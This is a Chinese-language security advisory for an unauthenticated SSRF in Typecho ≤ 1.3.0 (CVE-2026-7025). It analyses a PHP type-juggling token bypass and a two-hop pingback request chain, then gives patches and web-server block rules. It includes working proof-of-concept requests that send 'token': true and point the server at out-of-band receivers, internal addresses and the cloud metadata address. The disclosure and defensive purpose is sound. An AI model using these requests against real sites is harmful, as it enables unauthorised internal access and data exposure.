Typecho ≤ 1.3.0 的 Pingback 服务存在未认证服务端请求伪造(SSRF)漏洞,编号 CVE-2026-7025,CVSS 3.1 评分 7.3(高危)。
攻击者无需任何凭证,仅凭一个 HTTP 请求,即可让目标服务器:
向任意 URL 发起出站请求(第一跳);
解析第一跳响应中的 X-Pingback 头,再向任意指定地址发起 XML-RPC POST(第二跳)——该跳对目标地址不做任何内网校验。
漏洞由两个缺陷叠加构成:一个 PHP 弱类型比较绕过(进入漏洞路径的门票)+ 一处 出站请求缺少协议与地址白名单(SSRF 的实质)。两者缺一不可。
本文覆盖:漏洞定位、根因源码级分析、完整复现过程、真实带外证据、影响评估,以及可直接套用的修复补丁(含自动打补丁脚本)。
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-7025 |
| 漏洞类型 | 未认证服务端请求伪造(Unauthenticated SSRF) |
| 影响版本 | Typecho ≤ 1.3.0 |
| 危害组件 | var/Widget/Service.php → Service::sendPingHandle() |
| 触发入口 | POST /action/service?do=ping(或 /index.php/action/service?do=ping) |
| 认证要求 | 无 |
| 利用难度 | 低(单次 HTTP 请求,默认配置即可触发) |
| CVSS 3.1 | 7.3 High(AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) |
| 官方补丁 | 披露时厂商未响应,无可用补丁 |
影响面:所有使用默认配置的 Typecho ≤ 1.3.0 站点。Typecho 是国内外广泛使用的中文轻量博客系统,存量站点基数大。
要理解这个漏洞,先要理解 pingback 是什么。
Pingback 是一种博客间的引用通知机制(源自 WordPress 规范)。当 A 站的文章引用了 B 站的文章,A 站会向 B 站发一个通知:"嘿,我引用你了。" B 站收到后会去 A 站核实,核实通过则在 A 站文章的评论区留下一条 pingback 记录。
Typecho 实现这套机制时,把服务端能力拆成了两个动作、两个端点:
| 端点 | 职责 | 方向 |
|---|---|---|
/action/xmlrpc(Service::action() 中的 xmlrpc 分支) |
接收别人的 pingback 通知 | 入站 |
/action/service?do=ping(Service::sendPingHandle()) |
发送 pingback 通知 | 出站 |
漏洞出在发送端。而发送端为了完成"核实引用"这一步,需要主动去访问外部 URL——这就天然构成了一条 SSRF 通道。
Typecho 的 Service 控制器在 action() 中注册路由:
// var/Widget/Service.php (v1.3.0) public function action() { $this->on($this->request->isPost() && $this->request->is('do=ping'))->sendPingHandle(); $this->on($this->request->isPost() && $this->request->is('do=async'))->asyncHandle(); }
注意两点:
入口是无条件注册的,不读取任何配置项。这意味着后台没有任何开关能关掉它(后文详述)。
do=ping 走 sendPingHandle(),do=async 走 asyncHandle(),两者共用同一套 token 校验逻辑。
sendPingHandle() 在干活之前,要先校验一个 token:
// var/Widget/Service.php sendPingHandle()(节选) $token = $this->request->get('token'); $permalink = $this->request->get('permalink'); if (!Common::timeTokenValidate($token, $this->options->secret, 3) || empty($permalink)) { throw new Exception(_t('禁止访问'), 403); }
校验函数实现如下:
// var/Typecho/Common.php (v1.3.0) public static function timeTokenValidate($token, $secret, int $timeout = 3): bool { $now = time(); $from = $now - $timeout; for ($i = $now; $i >= $from; $i--) { if (sha1($secret . '&' . $i) == $token) { // ← 松散比较 return true; } } return false; }
问题就出在这行 ==。
sha1(...) 返回的是一个字符串,而 $token 来自用户完全可控的请求参数。在 PHP 的松散比较语义下:
"abc" == true → true(非空字符串转布尔后为 true)
"abc" == 0 → false(PHP 8 已修复此行为,但 true 这个方向仍成立)
所以,当攻击者在请求体里传入布尔值 true 作为 token 时,sha1(...) 无论算出什么字符串,与 true 比较恒为真。校验函数直接返回 true,攻击者空手越过鉴权。
这就是经典的 PHP 类型混淆(Type Juggling)。它不是"token 猜对了",而是"比较本身失效了"。
关键点:这个绕过是"门票"。它本身不造成危害,但它是进入后续 SSRF 逻辑的必要条件。
拿到门票后,攻击者进入 sendPingHandle() 的核心逻辑:
// var/Widget/Service.php sendPingHandle()(节选,已简化) foreach ($links as $url) { // $links = 攻击者提供的 pingback 数组 $urlPart = parse_url($url); if (isset($urlPart['scheme'])) { if ('http' != $urlPart['scheme'] && 'https' != $urlPart['scheme']) { continue; // 第一跳:仅限制协议为 http/https } } if ($permalinkPart['host'] == $urlPart['host']) { continue; // 仅拒绝与 permalink 同主机 } $spider = Client::get(); $spider->setTimeout(10)->send($url); // ★ 第一跳:GET 攻击者指定的任意 URL // 从响应中提取第二跳目标(header 优先,其次 body 中的 <link rel="pingback">) if (!($xmlrpcUrl = $spider->getResponseHeader('x-pingback'))) { if (preg_match( "/<link[^>]*rel=[\"']pingback[\"'][^>]*href=[\"']([^\"']+)[\"'][^>]*>/i", $spider->getResponseBody(), $out)) { $xmlrpcUrl = $out[1]; } } if (!empty($xmlrpcUrl)) { $xmlrpc = new \IXR\Client($xmlrpcUrl); $xmlrpc->pingback->ping($permalink, $url); // ★ 第二跳:POST 任意地址 } }
这条链有两个独立的出站动作,构成两段式 SSRF:
第一跳——服务器 GET 攻击者指定的 URL。这里的限制只有两条:协议必须是 http/https,主机名不能和 permalink 相同。没有做任何内网地址校验。
第二跳——服务器从第一跳的响应里读出一个地址(X-Pingback 头或 <link rel="pingback"> 标签),然后向这个地址发一个 XML-RPC POST。这个地址完全由攻击者控制(因为第一跳响应是攻击者自己的服务器返回的),而且代码从头到尾没有对它做任何校验——不限协议、不限地址。
这就是漏洞的实质:第二跳可以把请求打到
127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16,甚至云环境的元数据服务169.254.169.254——这些地址在正常情况下外部根本无法访问。
查证源码后发现了这个漏洞最值得玩味的地方:
Typecho 自己就有一个 Common::checkSafeHost() 函数,专门用来拒绝回环、私网、保留地址:
// var/Typecho/Common.php(节选,示意) public static function checkSafeHost(string $host): bool { // 禁止 127.0.0.0/8、10/8、172.16/12、192.168/16、169.254/16 等 // 基于 FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ... }
但是,sendPingHandle() 的第二跳(IXR\Client)和 trackback 分支从来没有调用过它。
所以这不是"缺防护",而是"有锁没上锁"。这也让修复变得非常干净——不需要从零写一个内网校验函数,直接复用框架现成的即可。
进一步查证发现,IXR\Client 内部执行 HTTP 请求时,用的就是 Typecho\Http\Client:
// var/IXR/Client.php(示意) $http = Typecho\Http\Client::get(); $http->send($url); // 与第一跳同一个客户端
这意味着:pingback 第一跳、第二跳、trackback——全部经过 Http\Client::send() 这一个出口。
这是一个极其重要的收敛点。它意味着修复不需要在 N 个调用点分别打补丁,只要在这一层封死,所有出站就都受控了。
而问题恰恰在于,这个出口层 Http\Client 只使用 cURL,且没有设置任何协议白名单:
// var/Typecho/Http/Client/Curl.php(示意) // 没有 CURLOPT_PROTOCOLS // 没有 CURLOPT_REDIR_PROTOCOLS // 没有 CURLOPT_FOLLOWLOCATION 限制
cURL 支持什么协议,SSRF 就能用什么协议。
sendPingHandle() 在校验通过后,会先调用:
$this->response->throwFinish();
它的作用是先把响应 flush 给客户端,然后继续在后台执行(配合 ignore_user_abort(true) 与 set_time_limit(30))。也就是说,出站请求是在响应返回之后才发出的。
这对漏洞验证方式有决定性影响:
基于响应时间的验证方法在 Typecho 上完全无效。
客户端拿到的响应和出站行为没有任何关系。你在请求里塞一个不可达地址、一个立即拒绝的地址、一个正常地址——响应耗时都一样。
这不是漏洞不存在,是方法错了。必须改用带外(OOB)通道做验证。这一点在下面的复现过程里会看到。
在授权测试环境(Typecho 1.3.0 / PHP 8.5.7)上完整复现。以下为真实记录。
| 项 | 值 |
|---|---|
| 框架 | Typecho 1.3.0 |
| 运行时 | PHP 8.5.7 |
| 前置 | 腾讯云 EdgeOne(Server: ESA),含 WAF |
| 端点确认 | POST /index.php/action/service?do=ping → 200 空 body |
控制变量,只改 token 的取值:
POST /index.php/action/service?do=ping HTTP/1.1
Host: <target>
Content-Type: application/json
{"token": true, "permalink":"https://example.com/","pingback":[]}
{"token": "abc", "permalink":"https://example.com/","pingback":[]}
{"permalink":"https://example.com/","pingback":[]}
{"token": 0, "permalink":"https://example.com/","pingback":[]}
实测结果:
| token 取值 | HTTP 状态 | 说明 |
|---|---|---|
true(布尔) |
200(空 body) | ✅ 通过校验,执行到 throwFinish() |
"abc" |
403 | 被拦截 |
| 缺失 | 403 | 被拦截 |
0 |
403 | 被拦截 |
结论:只有布尔
true能穿过松散比较。鉴权绕过成立,攻击者无需任何凭证即进入 pingback 处理逻辑。
因为响应是被提前 flush 的(盲打),必须用带外通道。用一个第三方回连服务作为接收端:
POST /index.php/action/service?do=ping HTTP/1.1
Content-Type: application/json
{"token":true,"permalink":"https://example.com/",
"pingback":["https://webhook.site/<uuid>"]}
接收端捕获到:
{ "method": "GET", "ip": "47.110.136.93", "country": "China", "region": "Zhejiang", "city": "Hangzhou", "user_agent": null, "created_at": "2026-10-15 16:21:28" }
证据意义:
来源 IP 47.110.136.93 是目标服务器源站的真实出口 IP,不是测试者 IP,也不是 CDN 节点 IP;
User-Agent 为空——与源码中 sendPingHandle() 不设置 UA 的行为完全吻合,排除了"是别的东西发的"的可能性。
服务器确已代攻击者发出了任意出站请求。
构造第一跳的响应,让它携带一个 X-Pingback 头指向第二个回连地址:
POST /index.php/action/service?do=ping HTTP/1.1
Content-Type: application/json
{"token":true,"permalink":"https://example.com/",
"pingback":["https://httpbin.org/response-headers?X-Pingback=<第二跳地址>"]}
第二跳接收端捕获到(决定性证据):
{ "method": "POST", "ip": "47.110.136.93", "user_agent": "Typecho XML-RPC PHP Library", "headers": { "content-type": ["text/xml"], "content-length": ["334"] }, "content": "<?xml version=\"1.0\"?>\n<methodCall>\n<methodName>pingback.ping</methodName>\n<params>\n<param><value><string>https://example.com/</string></value></param>\n<param><value><string>https://httpbin.org/response-headers?X-Pingback=...</string></value></param>\n</params>\n</methodCall>" }
证据意义:
服务器解析了第一跳响应中的 X-Pingback 头,并据此向攻击者指定的地址发起了第二跳 POST;
User-Agent: Typecho XML-RPC PHP Library 是 Typecho 内置 IXR 客户端的固定标识,来源无可争议;
请求体 pingback.ping(sourceURI, targetURI) 与源码 $xmlrpc->pingback->ping($permalink, $url) 逐字对应。
完整攻击链闭环:未认证进入 → 第一跳任意出站 → 解析响应 → 第二跳任意地址 XML-RPC POST。
| 维度 | 影响 |
|---|---|
| 认证要求 | 无,任意互联网用户可触发 |
| 内网可达性 | 第二跳目标无 IP 限制,可访问 127.0.0.1、RFC1918 私网段、云元数据 169.254.169.254 等正常情况下不可达的资源 |
| 数据风险 | 盲 SSRF。可借助响应特征差异或带外通道进行内网端口扫描与服务识别;若与内网无认证服务(Redis、Memcached 等)组合,存在进一步横向与提权的可能(取决于内网拓扑与出口策略) |
| 可用性 | 单次请求即可让服务端建立出站连接(超时上限 10s),可被用于资源消耗 |
| 附带风险 | 会泄露源站真实出口 IP(见下方说明) |
在带外实证中,目标服务器的真实出口 IP 直接暴露给了攻击者。
原因很简单:CDN 只管入站,不管出站。
入站方向(访客 → 站点):流量经过 CDN,源站被隐藏;
出站方向(服务器 → 外部):完全不经过 CDN,服务器用自己主机的真实 IP 直接出网。
这个泄露是独立于 SSRF 本身的风险点,而且更难处理——因为泄露源不止 /action/service 一处,任何"服务器主动访问外部 URL"的功能(远程图片下载、RSS 抓取、外链预览等)都会以同样方式暴露出口 IP。
建议核查:源站的安全组/防火墙是否只放行了 CDN 的回源 IP 段?如果 80/443 对
0.0.0.0/0全开,那么拿到源站 IP 的人可以直接绕过 CDN 打源站,WAF 全部失效。这可能是比 SSRF 本身更严重的问题。
前提认知:Typecho 后台没有任何开关能关掉这条路径。入口是无条件注册的(见 3.1)。
因此唯一能立刻生效的是网络层封禁。
Nginx(放进 server {} 块,必须在 PHP location 之前):
location ~ ^/(index\.php/)?action/service { deny all; return 403; }
Apache(.htaccess):
RewriteRule ^(index\.php/)?action/service - [F,L]
坑一:位置错了就不生效。 这是正则 location。nginx 在同为正则的 location 之间取最先匹配到的那一条。所以它必须写在 location ~ \.php 前面。放后面等于没写,你会以为修好了其实没有。
坑二:必须同时覆盖两种入口形式。
location ~ ^/(index\.php/)?action/service
这一条正则同时覆盖 /action/service 和 /index.php/action/service。少拦一种都白搭——实际攻击用的就是带 index.php 的那种,因为它会直接命中 location ~ \.php,绕过 location / 里的任何判断。
副作用(必须知道):封掉 /action/service 会连带禁用站内正常的 pingback/trackback 发送,以及依赖 do=async 的异步调用。因为站内发送走的是公网域名(经 CDN 回源),源 IP 不是 127.0.0.1,无法用白名单放行。
不在乎 pingback(现代博客基本没人用)→ 用封禁,立刻止血
要保留站内功能 → 用下面的代码补丁,/action/service 可以保留
核心思路:在 Http\Client::send() 这一收敛点一次性封死所有出站。这样 pingback 第一跳、第二跳、trackback 全都受控。
文件:var/Typecho/Common.php → timeTokenValidate()
// 修复前 if (sha1($secret . '&' . $i) == $token) { // 修复后 if (!is_string($token) || '' === $token) { return false; } // ... if (hash_equals(sha1($secret . '&' . $i), $token)) {
要点:== 换成 hash_equals()(严格且恒定时间,顺带防时序攻击);先用 is_string() 挡掉 true、数组、数字等所有非字符串输入。
这个改动同时修复 asyncHandle(),因为它用的是同一个校验函数。
文件:var/Typecho/Http/Client.php → send()
改动 A —— URL 解析后,加协议与地址校验:
$params = parse_url($url); // 新增:仅允许 http/https $scheme = strtolower($params['scheme'] ?? ''); $host = $params['host'] ?? ''; if (!in_array($scheme, ['http', 'https'], true)) { throw new Exception('Forbidden scheme: ' . $scheme, 403); } // 新增:复用框架自带的内网校验 if (empty($host) || !Common::checkSafeHost($host)) { throw new Exception('Forbidden host: ' . $host, 403); }
改动 B —— cURL 初始化时,锁定协议白名单:
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->method); // 新增:协议层封死 gopher/file/dict 等,并禁止协议跳转与重定向跟随 if (defined('CURLOPT_PROTOCOLS_STR')) { curl_setopt($ch, CURLOPT_PROTOCOLS_STR, 'http,https'); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS_STR, 'http,https'); } else { curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
这里体现了复用 checkSafeHost() 的价值——它已经处理好了 127.0.0.0/8、10/8、172.16/12、192.168/16、169.254/16、0.0.0.0/8 以及 IPv6 回环/私网,不需要自己重写。
sendPingHandle() 的第二跳再加一道独立校验。修复点 2 已覆盖全部出站,这一步只是双保险:
if (!empty($xmlrpcUrl)) { $xp = parse_url($xmlrpcUrl); if ( empty($xp['host']) || !in_array(strtolower($xp['scheme'] ?? ''), ['http', 'https'], true) || !Common::checkSafeHost($xp['host']) ) { continue; } $xmlrpc = new \IXR\Client($xmlrpcUrl); // ... }
对照实验(三步):
| 步骤 | 请求 | 修复前 | 修复后 |
|---|---|---|---|
| 1 | token: true,pingback 指向 http://127.0.0.1:6379/ |
200 | 403 |
| 2 | 合法 token(后台发评论时自动生成) | 200 | 200(不回归) |
| 3 | 合法 token,pingback 指向 http://169.254.169.254/latest/meta-data/ |
服务器发起请求 | 被 checkSafeHost 拒绝 |
第 1 步最关键:修复前 200、修复后 403,说明类型混淆绕过已封死。
修补后仍有几处需要注意,如实标注:
DNS Rebinding(TOCTOU):checkSafeHost() 内部只取 gethostbyname() 的单次 IPv4 结果做校验,而 cURL 实际连接时会再次解析。理论上攻击者可以用一个"先返回公网 IP、后返回内网 IP"的域名绕过。要彻底防,需要用 CURLOPT_RESOLVE 把已校验的 IP 钉死给 cURL。当前补丁未做此加固。
出站无 egress 白名单:建议在主机/防火墙层限制 PHP-FPM 的出站目标,只允许必要地址。这是纵深防御的最后一道。
token 方案本身偏弱:sha1($secret . '&' . time()) 是基于时间戳派生的、3 秒有效窗口。严格比较后已不可绕过,但建议后续演进为 HMAC-SHA256 + 单调 nonce。
do=async 入口:同样走 timeTokenValidate,修复点 1 已一并覆盖。
这个漏洞的技术含量并不高,但它的成因非常典型,值得记住三点:
第一,弱类型比较是一类长期存在的坑。 PHP 8 虽然收紧了部分松散比较的语义,但 string == true 这类方向依然成立。凡是把用户输入丢进 == 的地方,都要警惕。正确做法是 === 或 hash_equals(),并且先做类型检查。
第二,"有锁不用"比"没有锁"更普遍。 框架里明明躺着内网地址校验函数,却在关键路径上忘了调用。这类问题的根因不是能力缺失,而是安全能力没有和业务路径对齐。所以做安全审计时,除了问"有没有防护函数",更要问"这条路径上它被调了吗"。
第三,收敛点决定了修复成本。 因为所有出站都经过 Http\Client::send(),一个补丁就能封死全部攻击面。反过来看,如果每个调用点各自实现 HTTP 请求,修复就得改十处、还容易漏。设计时把横切关注点(网络出口、鉴权、日志)收敛到单一入口,安全成本会指数级下降。
最后,一个方法论提醒:验证 SSRF 时别迷信时间差。 只要目标在出站前提前 flush 了响应,时间差就完全失效。这时候必须上带外通道(OOB)。本文的实证正是靠这条思路才拿到了无法伪造的铁证。
后台「评论设置 → 评论显示 → ☑ 仅显示评论,不显示 Pingback 和 Trackback」不能缓解此漏洞。
原因(已实测复验):该选项只作用于前端评论列表的渲染过滤(按评论 type 把 pingback/trackback 从列表里藏起来),属于展示层逻辑;而漏洞位于发送端,入口无条件注册,全程不读任何配置项。勾选后漏洞依然完整触发。
| 文件 | 关键方法 | 作用 |
|---|---|---|
var/Widget/Service.php |
action() |
入口路由注册(无条件) |
var/Widget/Service.php |
sendPingHandle() |
漏洞主体:两跳出站 |
var/Typecho/Common.php |
timeTokenValidate() |
弱类型比较(绕过点) |
var/Typecho/Common.php |
checkSafeHost() |
内网校验函数(未被调用) |
var/Typecho/Http/Client.php |
send() |
统一出站出口(修复收敛点) |
var/IXR/Client.php |
— | 第二跳 XML-RPC 客户端 |
免责声明:本文所涉测试均在授权环境下进行,用于安全研究与产品加固。请勿对未授权目标实施任何攻击行为。